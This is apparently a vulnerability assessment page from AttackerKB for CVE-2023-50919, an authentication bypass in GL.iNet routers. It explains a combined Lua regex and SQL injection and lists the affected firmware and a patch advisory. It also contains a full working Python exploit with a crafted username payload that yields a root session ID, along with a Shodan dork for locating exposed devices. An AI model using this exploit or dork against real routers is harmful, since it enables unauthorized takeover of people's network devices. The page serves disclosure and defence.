Very High
CVE-2023-50919
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-50919
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue was discovered on GL.iNet devices before version 4.5.0. There is an NGINX authentication bypass via Lua string pattern matching. This affects A1300 4.4.6, AX1800 4.4.6, AXT1800 4.4.6, MT3000 4.4.6, MT2500 4.4.6, MT6000 4.5.0, MT1300 4.3.7, MT300N-V2 4.3.7, AR750S 4.3.7, AR750 4.3.7, AR300M 4.3.7, and B1300 4.3.7.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx
authentication through a Lua
string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY
who discovered this vulnerability in October 2023.
I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session
, the actual Lua
handler for the authentication mechanism which is the standard for GL.iNet network devices.
Within the this code there is a loop through the /etc/shadow file
to authenticate a user where the username is used for the lookup using a regex
.
By manipulating the username with additional regex
statements, one can manipulate the lookup, so that it retrieves the uid
field instead of the password
field, hence using this for a valid root login will return a session id (SID
) to be used for authentication.
local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end
Regex injection happens inside the login_test function
; it tries to match everything from the first colon (the hashed password) until the next one.
root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::
With the following username: root:[^:]+:[^:]+
the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+)
that shifts forward the matching group, thus making it return the uid
(which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>
.
Additionally, some ACL’s are required that are stored in the SQLite
db. This lookup, which is coded in /usr/lib/lua/oui/db.lua
, is not successful because we manipulated the username.
M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end
However, by a brilliant combination of the regex and sql injection, DZONERZY
was able to retrieve that information in one go with the username below.
roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+
Pretty cool !!!
But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel"
) are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.
Below is a python script that checks if your device is vulnerable for CVE-2023-50919
.
#!/usr/bin/env python3 # Exploit Title: GL.iNet Authentication bypass # Shodan Dork: title:"GL.iNet Admin Panel" # Date: 30/12/2023 # Exploit Author: h00die-gr3y@gmail.com # Vendor Homepage: https://www.gli-inet.com # Software Link: https://dl.gl-inet.com/?model=ar300m16 # Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin # Version: 4.3.7 # Tested on: GL.iNet AR300M16 # CVE: CVE-2023-50919 import json import requests import hashlib import time from random import randint from sys import stdout, argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } proxies = {} # no proxy def get_challenge(url): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'challenge', 'params': {'username': 'root'} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['nonce'] print('[-] Error: could not find nonce') return False except requests.exceptions.RequestException: print('[-] Error while retrieving challenge') return False def login(url, username, hash): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'login', 'params': { 'username': '{}'.format(username), 'hash': '{}'.format(hash)} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['sid'] print('[-] Error: could not find sid') return False except requests.exceptions.RequestException: print('[-] Error while retrieving sid') return False def main(url): print('[+] Started GL.iNet - Authentication Bypass exploit') username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+" pw = '0' print('[+] Get challenge and login') start = time.time() nonce = get_challenge(url+'/rpc') if nonce: print('[+] nonce: {}'.format(nonce)) hash_str = username+':'+pw+':'+nonce hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest() print('[+] hash: {}'.format(hash)) sid = login(url+'/rpc', username, hash) print(f'[+] Time elapsed: {time.time() - start}') if sid: print('[+] sid: {}'.format(sid)) if __name__ == '__main__': if len(argv) < 2: print('Usage: {} <TARGET_URL>'.format(argv[0])) exit(1) main(argv[1])
# python ./auth-bypass.py http://192.168.8.1 [+] Started GL.iNet - Authentication Bypass exploit [+] Get challenge and login [+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt [+] hash: 01f250624caab2acaf4feb290dd45d33 [+] Time elapsed: 2.650479793548584 [+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A:
v4.0.0 < v4.5.0
- MT6000:
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300:
v4.3.7
- E750/E750V2, MV1000:
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page
Credits
DZONERZY
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- gl-inet
Products
- gl-a1300 firmware 4.3.7,
- gl-a1300 firmware 4.4.6,
- gl-ar300m firmware 4.3.7,
- gl-ar300m firmware 4.4.6,
- gl-ar750 firmware 4.3.7,
- gl-ar750 firmware 4.4.6,
- gl-ar750s firmware 4.3.7,
- gl-ar750s firmware 4.4.6,
- gl-ax1800 firmware 4.3.7,
- gl-ax1800 firmware 4.4.6,
- gl-axt1800 firmware 4.3.7,
- gl-axt1800 firmware 4.4.6,
- gl-b1300 firmware 4.3.7,
- gl-b1300 firmware 4.4.6,
- gl-mt1300 firmware 4.3.7,
- gl-mt1300 firmware 4.4.6,
- gl-mt2500 firmware 4.3.7,
- gl-mt2500 firmware 4.4.6,
- gl-mt3000 firmware 4.3.7,
- gl-mt3000 firmware 4.4.6,
- gl-mt300n-v2 firmware 4.3.7,
- gl-mt300n-v2 firmware 4.4.6,
- gl-mt6000 firmware 4.3.7,
- gl-mt6000 firmware 4.4.6
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: